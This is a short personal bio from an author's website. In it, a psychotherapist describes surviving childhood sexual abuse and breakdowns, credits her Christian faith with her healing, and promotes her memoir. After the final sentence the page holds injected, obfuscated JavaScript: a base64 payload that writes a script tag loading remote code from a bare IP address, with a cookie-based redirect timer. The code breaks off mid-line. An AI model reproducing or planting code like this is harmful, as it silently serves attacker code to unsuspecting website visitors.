Molested at four years old by my father, I grew up fearful and depressed. I’m eight in the photo. My fear shows in my face.
In my early twenties I landed in the hospital twice, after two psychotic breakdowns. Jesus had taken my hand when I was 19, but I had lots of forgiving and grieving work to do, including much wrestling with God himself, before I could enjoy the abundant life Jesus promises.
After many years of working through trust issues, depression, and anxiety, I’ve now been a psychotherapist (M.S.W.) since 1986, married to my best friend since 1972, and have recently released a memoir, Trading Fathers, Forgiving Dad, Embracing God. Life is good.
Healing is possible, if we don’t give up. That sense of deficiency and shame that survivors feel is a feeling, not a truth. Read chapter 1 of my story from the link on the bottom of the “Books” page. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘